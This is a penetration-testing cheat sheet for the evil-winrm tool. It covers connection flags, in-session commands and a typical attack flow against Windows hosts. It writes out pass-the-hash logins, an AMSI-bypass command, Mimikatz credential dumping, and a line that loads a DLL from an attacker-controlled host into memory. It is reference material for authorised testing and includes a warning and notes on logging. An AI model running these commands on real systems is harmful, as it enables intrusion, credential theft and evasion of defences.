| Field | Detail |
|---|---|
| Summary | Interactive WinRM shell with a credential or hash |
| Category | Windows remote shell (WinRM) |
| Phase | exploitation, post-exploitation |
| Interface | CLI |
| Platform | Linux |
| Licence | Open source (GPL) |
| Docs | https://github.com/Hackplayers/evil-winrm |
| Related | SMB and Active Directory enumeration, NetExec (CrackMapExec), Impacket, Mimikatz, John the Ripper and Hashcat |
The standard way to get an interactive shell over WinRM (Windows Remote Management, #tcp/5985 HTTP / #tcp/5986 HTTPS) once you have valid credentials or an NTLM hash. Cleaner than a raw shell: built-in file upload/download, in-memory script/binary loading, and pass-the-hash support.
⚠️ Warning — You need creds first, and membership matters evil-winrm is a post-credential tool — it logs you in, it doesn't break in. The account must be in Remote Management Users (or be local admin) on the target, and WinRM must be enabled/listening. Authorised targets only; WinRM logons are logged (Event ID 4624 type 3, plus WinRM operational logs).
Connect
# Password
evil-winrm -i 10.10.10.5 -u Administrator -p 'Password123'
# Pass-the-hash (NTLM) — no password needed
evil-winrm -i 10.10.10.5 -u Administrator -H <NTLMhash>
# Kerberos (with a ticket in your cache)
evil-winrm -i dc01.corp.local -u jdoe -r corp.local
# HTTPS / custom port / SSL
evil-winrm -i 10.10.10.5 -u user -p pass -S # SSL (5986)
evil-winrm -i 10.10.10.5 -u user -p pass -P 5986
# Load local PS1 scripts / .NET binaries from a directory for in-memory use
evil-winrm -i 10.10.10.5 -u user -p pass -s /opt/scripts/ -e /opt/binaries/
Credentials and hashes come from SMB and Active Directory enumeration, NetExec (CrackMapExec) (which flags WinRM access with nxc winrm), Impacket/Mimikatz dumps, or cracking with John the Ripper and Hashcat.
💡 Tip — Check WinRM access before connecting
nxc winrm 10.10.10.0/24 -u user -p passacross a subnet shows where the creds grant WinRM (look for(Pwn3d!)). Saves blindly trying evil-winrm host by host.
In-session commands
Standard PowerShell works, plus evil-winrm built-ins:
upload /local/path C:\Windows\Temp\file.exe # push a file to the target
download C:\Users\bob\notes.txt /loot/ # pull a file back
services # list Windows services
menu # show loaded functions / extra commands
# with -s scripts dir, invoke a loaded PS1 straight into memory:
Invoke-Mimikatz # (if you loaded it) — see Mimikatz sheet
Bypass-4MSI # built-in AMSI bypass attempt
Bypass-4MSI and in-memory loading help run tooling without touching disk — though modern EDR still inspects behaviour.
Typical flow
- Enumerate / get creds (SMB and Active Directory enumeration, Responder and relay basics, cracking).
nxc winrm <range> -u user -p pass→ find where WinRM + the account = access.evil-winrm -i <host> -u user -p pass(or-H <hash>).- Enumerate locally for privesc (Privilege escalation enumeration); upload tools as needed.
- Dump creds (Mimikatz) and move laterally (Impacket, NetExec (CrackMapExec)).
More flags & in-session
| Flag | Purpose |
|---|---|
-S / -P 5986 |
SSL / custom port |
-c cert.pem -k key.pem -S |
Certificate-based auth |
-r corp.local |
Kerberos realm (ticket already in cache) |
-s /scripts/ / -e /bins/ |
Dirs to load PS1 scripts / .NET binaries from |
--spn <spn> |
Custom SPN for Kerberos |
In-session built-ins:
menu # list loaded functions
Bypass-4MSI # AMSI bypass attempt
Invoke-Binary /bins/x.exe # run a .NET assembly in memory
Dll-Loader -http http://10.8.0.5/x.dll
services # enumerate Windows services
upload localfile C:\path ; download C:\path localfile
Kill-chain usage
Exploitation
evil-winrm -i 10.10.10.5 -u admin -H <hash> # WinRM shell via pass-the-hash
Post-exploitation
# in-session: upload tools, Invoke-Mimikatz, loot and pivot
Where it fits
The go-to interactive foothold on Windows when WinRM is open and you hold a credential or hash — the natural partner to NetExec (CrackMapExec) (which finds the access) and the dumping/cracking tools (which supply the creds). Compare with Impacket's psexec/wmiexec for execution when WinRM isn't available.